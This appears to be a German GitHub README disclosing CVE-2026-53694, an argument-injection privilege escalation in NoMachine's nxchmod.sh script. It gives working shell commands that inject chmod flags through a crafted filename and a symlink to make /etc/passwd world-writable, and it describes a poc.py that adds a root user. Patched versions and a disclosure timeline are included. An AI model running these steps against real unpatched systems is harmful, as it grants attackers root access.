CVE-2026-53694: NoMachine Lokale Rechteausweitung durch Argument-Injection

Überblick

Dieses Repository enthält den Write-up und den Proof of Concept (PoC) für CVE-2026-53694, eine Schwachstelle zur lokalen Rechteausweitung (Local Privilege Escalation, LPE) in NoMachine für Linux.

Aufgrund der unsachgemäßen Neutralisierung von Argumenttrennzeichen im Skript nxchmod.sh kann ein lokaler unprivilegierter Benutzer Argumente in einen als root ausgeführten Systembefehl einschleusen. Durch die Kombination dieser Argument-Injection mit einem symbolischen Link kann ein Angreifer kritische Systemdateien (wie /etc/passwd) überschreiben und seine Rechte auf root ausweiten.

Diese Schwachstelle wurde vom Hersteller vollständig gepatcht.

Der Entdeckungsprozess

Diese Schwachstelle zu finden war ein Prozess aus Ausprobieren, Irrtümern und einer späten nächtlichen Erkenntnis. Hier ist, wie sich die Entdeckung entfaltete:

Beobachtung des Ziels: Mir fiel auf, dass das Skript /usr/NX/scripts/restricted/nxchmod.sh regelmäßig vom root-Benutzer ausgeführt wurde, um Berechtigungen in bestimmten Verzeichnissen zu verwalten.
Erste Idee (Die Sackgasse): Ich sah, dass das Skript chmod a+rw auf Dateien anwendete. Ich dachte: Wenn ich das Ziel kontrolliere, kann ich dann mit einem symbolischen Link /etc/passwd beschreibbar machen? Ich testete einen standardmäßigen symbolischen Link (ln -s /etc/passwd /tmp/asdf), aber es schlug fehl. Das Linux-Sticky-Bit auf Verzeichnissen wie /tmp verhindert, dass der root-Benutzer blindlings einem von einem anderen Benutzer erstellten symbolischen Link folgt.
Der Durchbruch: Als ich später die Skriptausführung überprüfte, bemerkte ich, wie der Befehl konstruiert wurde: ${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}. Das Skript nahm den wörtlichen Dateinamen und übergab ihn direkt an chmod.
Command Injection über den Dateinamen: Mir wurde klar, dass ich eine Datei mit Leerzeichen und Flags in ihrem Namen erstellen konnte. Ich erstellte eine Datei namens X1234 -R -L. Als das Skript lief, expandierte der chmod-Befehl dies in Argumente statt in einen einzelnen Dateipfad.
Umgehung des Sticky-Bits: Indem ich die Flags -L (symbolischen Links folgen) und -R (rekursiv) über den Dateinamen in den chmod-Befehl einschleuste, zwang ich die chmod-Binärdatei selbst dazu, den von mir im Verzeichnis erstellten symbolischen Link aufzulösen und ihm zu folgen, wodurch der Sticky-Bit-Schutz vollständig umgangen wurde.
Erreichen der LPE: Sobald /etc/passwd beschreibbar gemacht wurde (a+rw), konnte ich einfach einen neuen root-Benutzer an die Datei anhängen und mich mit su in diesen einloggen.

Technische Analyse

Die Schwachstelle rührt daher, wie NoMachine Berechtigungen für X11/Wayland-Sockets handhabt. Das Skript nxchmod.sh wird vom als root laufenden Daemon nxserver.bin gestartet.

Die anfällige Ausführung sieht so aus:

# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}

Wenn ein Angreifer eine Verzeichnisstruktur und eine Datei namens X1234 -R -L erstellt, wird der resultierende, von root ausgeführte Befehl zu: /bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L

Wenn ein symbolischer Link, der auf /etc/passwd zeigt, im Verzeichnis X1234 platziert wird, zwingen die eingeschleusten Argumente -R und -L chmod dazu, dem symbolischen Link rekursiv zu folgen und der Zieldatei globale Lese-/Schreibberechtigungen zu gewähren.

Voraussetzungen für die Ausnutzung

Damit dieser Exploit funktioniert, muss das Zielsystem die folgenden Bedingungen erfüllen:

Das Betriebssystem muss Wayland verwenden (nicht X11).
Xwayland muss aktiv sein.
Eine grafische Sitzung muss laufen (der Anmeldebildschirm ist ausreichend).

Proof of Concept

Sie können diese Schwachstelle entweder manuell mit Shell-Befehlen oder automatisch mit dem bereitgestellten Python-Skript reproduzieren.

Methode 1: Manuelle Ausführung (Shell)

Navigieren Sie zu /tmp/.X11-unix/ und führen Sie die folgenden Befehle aus, um die bösartige Verzeichnisstruktur zu erstellen.

cd /tmp/.X11-unix/

# 1. Exploitation setup
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn

# Wait for nxchmod.sh to execute (can take up to 60 seconds).
# Verify the permissions of /etc/passwd have changed to -rw-rw-rw-
# You can now edit /etc/passwd to add a root user.

Sobald Sie die Schwachstelle verifiziert und die Rechte ausgeweitet haben, führen Sie die folgenden Bereinigungsbefehle aus, um die Systemstabilität wiederherzustellen und Artefakte zu entfernen:

# 2. Cleanup
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd

Methode 2: Automatisierter Exploit

Ein vollständig automatisierter Exploit ist in poc.py enthalten. Dieses Skript überprüft die Wayland-Anforderungen, richtet den symbolischen Link ein, wartet auf den Ausführungszyklus von nxchmod.sh und fügt einen neuen root-Benutzer (gg) in /etc/passwd ein.

Um den Exploit auszuführen:

python3 poc.py

Behebung

Diese Schwachstelle wurde von NoMachine behoben. Benutzer sollten auf die folgenden Versionen oder neuer aktualisieren:

NoMachine 9.5.7
NoMachine 8.23.2

Zeitplan

2026-04-20: Schwachstelle an den Hersteller gemeldet.
2026-04-23: Hersteller bestätigte die Schwachstelle und stimmte einer koordinierten Offenlegung zu.
2026-05-07: Hersteller veröffentlichte gepatchte Versionen (9.5.7 und 8.23.2) und publizierte den Trouble Report TR04X11802.
2026-06-10: CVE-2026-53694 im NVD veröffentlicht.

CVE-2026-53694-NoMachine-LPE

Beliebteste